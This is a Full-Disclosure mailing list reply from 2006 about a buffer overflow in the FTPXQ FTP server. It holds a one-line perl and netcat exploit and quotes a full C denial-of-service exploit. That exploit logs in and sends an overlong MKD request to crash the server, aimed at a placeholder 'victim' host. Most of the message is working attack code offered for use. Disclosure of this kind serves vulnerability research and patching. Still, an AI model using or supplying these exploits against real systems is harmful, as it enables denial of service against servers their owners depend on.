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Message-ID: <4540F03B.1060704@sec-consult.com>
Date: Thu, 26 Oct 2006 19:28:27 +0200
From: Bernhard Mueller <research@...-consult.com>
To: Full Disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: FTPXQ Denial of service exploit.
Hello,
And here's the bash/perl port:
sk0L@...yl0n ~ $ perl -e "print "USER lol\r\nPASS lol\r\nMKD
".("A"x255)."\r\n" | nc www.victim.com 21
Cheers,
Bernhard
Federico Fazzi wrote:
> /*
> * 0xf_ftpxq.c - FTPXQ Denial of service exploit.
> * Federico Fazzi <federico@...istici.org>
> *
> * advisory by Eric Sesterhenn.
> * -- Server built using the WinsockQ from DataWizard Technologies. A
> security
> * -- vulnerability in the product allows remote attackers to overflow an
> * -- internal buffer by providing an overly long "make directory" request.
> *
> * r20061025.
> */
>
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <string.h>
> #include <netdb.h>
> #include <arpa/inet.h>
> #include <sys/types.h>
> #include <netinet/in.h>
> #include <sys/socket.h>
>
> // AAAAAAAAAAAAAAAA..AA*255 in hex format.
> char bof[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
> "\x41\x41\x41\x41\x41\x41\x41\x41";
>
> int main(int argc, char **argv) {
> int sd;
> socklen_t len;
> struct sockaddr_in saddr;
> struct hostent *he;
> char buf[512], tmpbuf[128];
>
> if(argc != 5) {
> printf("FTPXQ Server - Denial of service exploit.\n"
> "Federico Fazzi <federico@...istici.org>\n\n"
> "usage: %s <hostname> <port> <user> <password>\n", argv[0]);
> exit(1);
> }
>
> if((he = gethostbyname(argv[1])) == NULL) {
> perror("gethostbyname()");
> exit(1);
> }
>
> // init socket
> if((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
> perror("socket()");
> exit(1);
> }
>
> // setup struct
> bzero((char *) &saddr, sizeof(saddr));
> saddr.sin_family = AF_INET;
> bcopy((char *)he->h_addr, (char *)&saddr.sin_addr.s_addr, he->h_length);
> saddr.sin_port = htons(atoi(argv[2]));
>
> len = sizeof(struct sockaddr);
> // init connection
> if(connect(sd, (struct sockaddr *)&saddr, len) == -1) {
> perror("connect()");
> exit(1);
> }
> printf("FTPXQ Server - Denial of service exploit.\n"
> "Federico Fazzi <federico@...istici.org>\n"
> "---------------------------------------\n");
> puts("connecting..\t\t done");
>
> // sending a USER data to daemon
> sprintf(buf, "USER %s\r\n", argv[3]);
> write(sd, buf, strlen(buf));
> puts("sending USER data..\t done");
>
> // sending a PASS data to daemon
> sprintf(buf, "PASS %s\r\n", argv[4]);
> write(sd, buf, strlen(buf));
> puts("sending PASS data..\t done");
>
> // sending a BOF string with MKD command to host
> sprintf(buf, "MKD %s", bof);
> write(sd, bof, strlen(bof));
> puts("sending MKD bof string.. done");
>
> // now checking if server i down
> if(read(sd, tmpbuf, sizeof(tmpbuf)) > 0)
> puts("[!] server doesn't vulnerable");
> else
> puts("[+] server getting down.. done");
> close(sd);
>
> return(0);
> }
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
--
_____________________________________________________
DI (FH) Bernhard Mueller
IT Security Consultant
SEC-Consult Unternehmensberatung GmbH
www.sec-consult.com
A-1080 Vienna, Blindengasse 3
phone +43 1 8903043 0
fax +43 1 8903043 15
mobile +43 676 840301 718
email b.mueller@...-consult.com
Advisor for your information security.
______________________________________________________
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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